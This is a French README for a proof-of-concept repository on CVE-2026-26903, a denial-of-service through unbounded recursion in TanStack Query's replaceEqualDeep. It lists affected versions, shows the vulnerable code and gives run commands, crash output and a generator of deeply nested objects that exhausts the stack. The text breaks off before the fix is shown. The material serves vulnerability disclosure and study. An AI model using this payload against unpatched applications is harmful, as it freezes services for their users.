
Un PoC pour démontrer la CVE-2026-26903
Déni de service via récursion illimitée dans la fonction replaceEqualDeep de TanStack Query
Une seule mise à jour de requête contenant des objets profondément imbriqués peut geler le thread JavaScript indéfiniment, rendant l'application totalement inutilisable. Aucune authentification ni autorisation spéciale n'est requise.
Cette vulnérabilité a été corrigée dans @tanstack/[email protected] via la PR #10032, publiée le 14 janvier 2026.
| Paquet | Affecté | Corrigé |
|---|---|---|
| @tanstack/query-core | <= 5.90.16 | 5.90.17 |
| @tanstack/react-query | dépend du query-core vulnérable | 5.90.18+ |
| @tanstack/vue-query | dépend du query-core vulnérable | 5.90.18+ |
| @tanstack/solid-query | dépend du query-core vulnérable | 5.90.18+ |
| @tanstack/svelte-query | dépend du query-core vulnérable | 6.1.7+ |
CVE-2026-26903 : Déni de service via récursion illimitée dans replaceEqualDeep (Sévérité : Moyenne)
La fonction
replaceEqualDeepde TanStack Query effectue une comparaison récursive d'objets imbriqués sans limite de profondeur. Lors du traitement de structures de données profondément imbriquées, cela peut déclencher une récursion illimitée conduisant à un débordement de pile et au gel de l'application.— Assigné via MITRE
La fonction replaceEqualDeep de TanStack Query est utilisée en interne pour déterminer si les données de la requête ont réellement changé, optimisant les re-rendus en préservant les références d'objet lorsque c'est possible. La fonction parcourt récursivement les propriétés des objets pour effectuer une comparaison d'égalité profonde.
L'implémentation récursive manque de limite de profondeur ou de détection de cycle :
function replaceEqualDeep(a, b) {
// ... type checks ...
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
// ... shallow equality checks ...
// VULNERABLE: Unbounded recursion here
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
// ...
}
return copy;
}
replaceEqualDeep avec des données profondément imbriquéesuseQuery avec des données de réponse imbriquéessetQueryData, invalidateQueries, ou toute opération sur le cache de requêtesCVE-2026-26903-PoC/
├── README.md # Ce fichier
├── LICENSE
├── poc.js # PoC Node.js (crash par débordement de pile)
└── tanstack-query-poc.html # PoC navigateur (démo visuelle interactive)
git clone https://github.com/[votre-nom-utilisateur]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
node poc.js
Testing replaceEqualDeep with deep nesting...
Depth: 100
OK - 0ms
Depth: 1000
OK - 1ms
Depth: 5000
CRASH - Maximum call stack size exceeded
Depth: 10000
CRASH - Maximum call stack size exceeded
open tanstack-query-poc.html
Option A : Démo HTML autonome (aucune dépendance)
git clone https://github.com/[votre-nom-utilisateur]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html
Option B : Application React (scénario réaliste)
cd examples/react-app-poc
npm install
npm start
# Naviguer vers http://localhost:3000 et suivre les instructions à l'écran
Le PoC génère des objets profondément imbriqués et déclenche replaceEqualDeep pour les traiter :
function generateDeep(depth) {
let obj = { value: 'end' };
for (let i = 0; i < depth; i++) {
obj = { nested: obj };
}
return obj;
}
// Crée : { nested: { nested: { nested: ... { value: 'end' } } } }
const oldData = generateDeep(10000); // 10 000 niveaux de profondeur
const newData = generateDeep(10000); // Objet différent, même structure
// Cela provoque une récursion illimitée :
replaceEqualDeep(oldData, newData);
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested) // Niveau 1
├── replaceEqualDeep(obj1.nested.nested, ...) // Niveau 2
├── replaceEqualDeep(...) // Niveau 3
└── ... (continue pendant 10 000 niveaux)
Chaque appel récursif ajoute une nouvelle trame de pile jusqu'à ce que la pile d'appels du moteur JavaScript soit épuisée, gelant ainsi le thread.
Emplacement : @tanstack/query-core/src/utils.ts (approximatif)
export function replaceEqualDeep(a, b) {
if (a === b) {
return a;
}
const array = isPlainArray(a) && isPlainArray(b);
if (!array && !(isPlainObject(a) && isPlainObject(b))) {
return b;
}
const aItems = array ? a : Object.keys(a);
const aSize = aItems.length;
const bItems = array ? b : Object.keys(b);
const bSize = bItems.length;
const copy = array ? new Array(bSize) : {};
let equalItems = 0;
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
if (a[key] === b[key]) {
copy[key] = a[key];
equalItems++;
continue;
}
if (
a[key] === null ||
b[key] === null ||
typeof a[key] !== 'object' ||
typeof b[key] !== 'object'
) {
copy[key] = b[key];
continue;
}
// VULNERABLE : Pas de limite de profondeur ni de détection de cycle
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
if (v === a[key]) {
equalItems++;
}
}
return aSize === bSize && equalItems === aSize ? a : copy;
}
Le correctif (appliqué dans TanStack Query commit 269351b) ajoute une limite de profondeur pour empêcher la récursion illimitée :